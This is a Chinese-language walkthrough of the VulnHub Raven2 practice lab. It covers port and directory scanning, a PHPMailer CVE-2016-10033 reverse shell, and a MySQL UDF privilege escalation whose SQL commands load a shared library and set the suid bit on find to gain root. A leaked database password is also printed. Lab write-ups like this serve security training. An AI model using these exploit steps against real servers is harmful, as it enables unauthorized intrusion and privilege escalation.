VulnHub-Raven2 靶场 wp

nmap扫描靶机ip
nmap -sV 192.168.111.20 -T4
image
访问80端口:
image
dirsearch来fuzz目录
dirsearch -u http://192.168.111.20:80
image
逐个访问,发现/js/vendor/bootstrap.min.js存在版本信息
Bootstrap v4.0.0
image
访问/vendor/
image
继续收集信息,进入/PATH 得到flag1
image
下载SECURITY.md得到提示 CVE-2016-10033
image
搜索Bootstrap漏洞后发现版本太高,暂无比较好的漏洞可以利用,阅读README.md,或者直接去搜索CVE-2016-10033,均可以得到exp,我们这里阅读README.md
得到信息 PHPMailer
image
进入searchsploit进行搜索
image
这里我们选用第四个,也就是40974.py,将其复制出来
image
接着我们修改exp,以达成利用,修改靶机以及攻击机ip即可
image
首先开启监听
image
执行exp时发现缺包,由于直接pip install会有风险,所以创建一个虚拟环境进行安装
image
python3执行,执行后监听端口,并访问你上传的php文件,成功反弹shell
image
获得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
image
使用find寻找flag,得到两个flag,最后一个flag需要得到root权限
image

提权
这里我们尝试提权
访问wp-config.php得到mysql的root密码,所以这里我们尝试mysql提权
image
mysql -uroot -pR@v3nSecurity
image
进行UDF提权,提权条件如下
1)mysql数据库的root权限
2)secure_file_priv的值为空
3)如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
4)如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
dpkg -l | grep mysql \查看mysql历史安装包
ps aux | grep root \查看mysql进程信息
mysql版本大于5.1
image
exploit搜索mysql的exp,这里我们选择:
image
searchsploit一下
image
将其复制下来
image
对文件进行编译,并上传到靶机,在靶机上用wget直接获取就行
image
然后登录数据库

创建表raven2

create table raven2(line blob);

将刚上传的cmd.so插入表

insert into raven2 values(load_file('/var/www/html/cmd.so'));
raven2表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数

select * from raven2 into dumpfile '/usr/lib/mysql/plugin/cmd.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字

create function do_system returns integer soname 'cmd.so';

查询函数是否创建成功

select * from mysql.func;

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

select do_system('chmod u+s /usr/bin/find');
image
最后一步,find提权,大功告成
image

posted @ 2025-10-05 00:06  笑书神侠`  阅读(28)  评论(0)    收藏  举报